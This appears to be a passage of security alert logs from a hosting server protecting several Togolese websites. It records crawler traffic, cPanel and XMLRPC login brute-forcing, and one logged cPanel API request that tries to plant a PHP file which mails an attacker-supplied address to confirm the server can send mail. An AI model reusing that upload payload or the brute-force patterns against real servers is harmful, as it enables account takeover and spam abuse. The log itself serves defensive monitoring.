47.128.121.6 - - [18/Jun/2026:00:05:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881799&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-les-nouveaux-tarifs-dobtention-du-e-visa-fixes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741134 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-les-nouveaux-tarifs-dobtention-du-e-visa-fixes/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.6


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.188.155.136
country_id: 3996063
description:
[2026-06-18 00:06:35 +0000] info [cpaneld] 187.188.155.136 - da "GET /login/?login_only=1&user=da&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user da (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.27.94
country_id: 2921044
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Archives des Soci\xc3\xa9t\xc3\xa9 | Page 76 sur 122 | TOGODAILYNEWS&siteId=1&rec=1&rand=685602&h=8&m=7&s=2&url=http:/togodailynews.tg/category/societe/page/76/&uid=0&pid=0&visitorId=775f396770ba3f84&fvts=1781741223&vc=1&idn=0&refts=0&lvts=1781741223&fullRef=togodailynews.tg/category/societe/page/75&send_image=1&cookie=1&res=375x812&gtms=2697&pvId=dx5Piw&browser=Chrome_49&os=Android_8.0&device=Mobile HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.67.240
country_id: 290291
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2022/05/t\xc3\xa9l\xc3\xa9chargement-26.jpeg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.52.14
country_id: 690791
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/Transport-aerien-africain-les-orientations-du-President-Faure-Gnassingbe-pour-une-integration-du-continent-par-un-ciel-unique-263x300.webp HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.72.30
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/telechargement-300x166.webp HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.107.241.179
country_id: 3865483
description:
[2026-06-18 00:06:24 +0000] info [cpaneld] 149.107.241.179 - dagl "GET /login/?login_only=1&user=dagl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dagl (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.110.125
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/comment-reply.min.js?ver=6.9.4 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [18/Jun/2026:00:08:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803624&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741283 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [18/Jun/2026:00:08:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9882009&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741285 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.252.156.118
country_id: 1522867
description:
2026-06-18 00:07:31 H=([84.252.156.118]) [84.252.156.118]:61221 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.237.222
country_id: 798544
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/blocks/paragraph/style.min.css?ver=6.9.4 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.46.130
country_id: 690791
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=La carte nationale d\xe2\x80\x99identit\xc3\xa9 s\xe2\x80\x99obtient plus facilement au Togo | TOGODAILYNEWS&siteId=1&rec=1&rand=118533&h=8&m=7&s=52&url=http:/togodailynews.tg/la-carte-nationale-didentite-sobtient-plus-facilement-au-togo/&uid=0&pid=7747&visitorId=8932b98662bafd76&fvts=1781741272&vc=1&idn=0&refts=0&lvts=1781741272&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=4643&pvId=Olz2Fa&browser=Chrome_59&os=Android_5.0&device=Mobile HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [18/Jun/2026:00:08:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738652&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741285 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.46.130
country_id: 690791
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&ping=1&siteId=1&rec=1&rand=563025&h=8&m=8&s=7&url=http:/togodailynews.tg/la-carte-nationale-didentite-sobtient-plus-facilement-au-togo/&uid=0&pid=7747&visitorId=8932b98662bafd76&fvts=1781741272&vc=1&idn=0&refts=0&lvts=1781741272&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=4643&pvId=Olz2Fa&browser=Chrome_59&os=Android_5.0&device=Mobile HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.94
country_id: 1880251
description:
47.128.121.94 - - [18/Jun/2026:00:09:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988452&pdata=http%253A%252F%252Ftogodailynews.tg%252F7644-2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741350 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/7644-2/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.19
country_id: 1880251
description:
47.128.96.19 - - [18/Jun/2026:00:09:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6592923&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-recrutement-massif-unicef%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741389 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-recrutement-massif-unicef/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.19


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.201.139.218
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/780630899 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.63
country_id: 1880251
description:
47.128.121.63 - - [18/Jun/2026:00:10:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13002857&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcommunaute-connectee-de-demain-change-la-vie-des-togolais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741420 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/communaute-connectee-de-demain-change-la-vie-des-togolais/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.63


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.171.194.9
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/1401640013 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.25.119
country_id: 146669
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Archives des Soci\xc3\xa9t\xc3\xa9 | Page 79 sur 122 | TOGODAILYNEWS&siteId=1&rec=1&rand=705846&h=8&m=13&s=7&url=http:/togodailynews.tg/category/societe/page/79/&uid=0&pid=0&visitorId=4a696e180cb7f323&fvts=1781741587&vc=1&idn=0&refts=0&lvts=1781741587&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=51232&pvId=6U0Te8&browser=Chrome_57&os=Android_8.0&device=Mobile HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.98
country_id: 1880251
description:
47.128.121.98 - - [18/Jun/2026:00:12:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9660103&pdata=https%253A%252F%252Ftogodailynews.tg%252Fmarche-financier-regional-le-togo-mobilise-275-milliards-fcfa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741561 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/marche-financier-regional-le-togo-mobilise-275-milliards-fcfa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.98


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.117.10
country_id: 226074
description:
Jun 18 00:14:36 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.117.10 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.102.126
country_id: 6252001
domain: www.ucao-uut.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:152.232.102.126||TA:152.232.102.126||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.255.208
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2022/03/ong-play-international-burundi-sport-developpement-768x343.jpg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.134.200
country_id: 3469034
description:
Jun 18 00:16:01 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.134.200 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [18/Jun/2026:00:17:02 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.116.40.44
country_id: 3865483
description:
181.116.40.44 - - [18/Jun/2026:00:17:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854250&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fsociete%252Fpage%252F84%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741840 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/societe/page/84/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.7788.1093 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.116.40.44


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [18/Jun/2026:00:17:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [18/Jun/2026:00:16:59 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [18/Jun/2026:00:16:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.230.183
country_id: 2510769
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Archives des Soci\xc3\xa9t\xc3\xa9 | Page 81 sur 122 | TOGODAILYNEWS&siteId=1&rec=1&rand=786385&h=8&m=14&s=43&url=http:/togodailynews.tg/category/societe/page/81/&uid=0&pid=0&visitorId=77c9330a1e04b5d7&fvts=1781741683&vc=1&idn=0&refts=0&lvts=1781741683&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=31126&pvId=SQy0mh&browser=Chrome_59&os=Android_6.0&device=Mobile HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.151.4.187
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/736762 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [18/Jun/2026:00:19:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842778&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741959 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.36.152
country_id: 6252001
domain: belali.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:104.253.36.152||TA:104.253.36.152||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [18/Jun/2026:00:19:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130789&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781741963 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 170.168.243.202
country_id: 2921044
domain: www.arse.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.www.arse.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [18/Jun/2026:00:22:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816167&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781742149 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [18/Jun/2026:00:22:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908825&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781742148 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [18/Jun/2026:00:22:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10198165&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781742148 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.63
country_id: 1880251
description:
47.128.121.63 - - [18/Jun/2026:00:23:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750937&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fsociete%252Fpage%252F89%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781742214 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/societe/page/89/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.63


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.6
country_id: 1880251
description:
47.128.121.6 - - [18/Jun/2026:00:24:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7168149&pdata=https%253A%252F%252Ftogodailynews.tg%252Fle-paeij-sp-a-renforce-le-niveau-de-lagriculture-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781742249 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/le-paeij-sp-a-renforce-le-niveau-de-lagriculture-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.6


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.211.215.54
country_id: 2510769
description:
185.211.215.54 - - [18/Jun/2026:00:23:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181677&pdata=https%253A%252F%252Ftogodailynews.tg%252Fpaeij-sp-des-resultats-reluisants-en-trois-ans%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781742207 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/paeij-sp-des-resultats-reluisants-en-trois-ans/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.8507.1099 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.211.215.54


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.57.109
country_id: 953987
description:
Jun 18 00:25:01 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.57.109 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.203.13.155
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/02/WhatsApp-Image-2025-02-03-at-12.00.23-300x200.jpeg HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 166.88.217.170
country_id: 6252001
domain: togointerim.net
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:166.88.217.170||TA:166.88.217.170||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.255.91.12
country_id: 3469034
description:
[2026-06-18 00:27:20 +0000] info [cpaneld] 143.255.91.12 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.84.107.198
country_id: 2661886
description:
[2026-06-18 00:27:21 +0000] info [cpaneld] 45.84.107.198 - ylhgcaui "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 177.152.82.251
country_id: 3469034
description:
177.152.82.251 - - [18/Jun/2026:00:26:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920291&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D9326&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781742403 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=9326" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.5338.1950 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.152.82.251


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.66.93
country_id: 6252001
description:
[2026-06-18 00:27:11 +0000] info [cpaneld] 217.181.66.93 - pnls "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.69.91
country_id: 6252001
description:
[2026-06-18 00:27:24 +0000] info [cpaneld] 217.181.69.91 - xdkbrmjc "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 63.143.99.193
country_id: 3489940
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1353144054 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.84.107.198
country_id: 2661886
description:
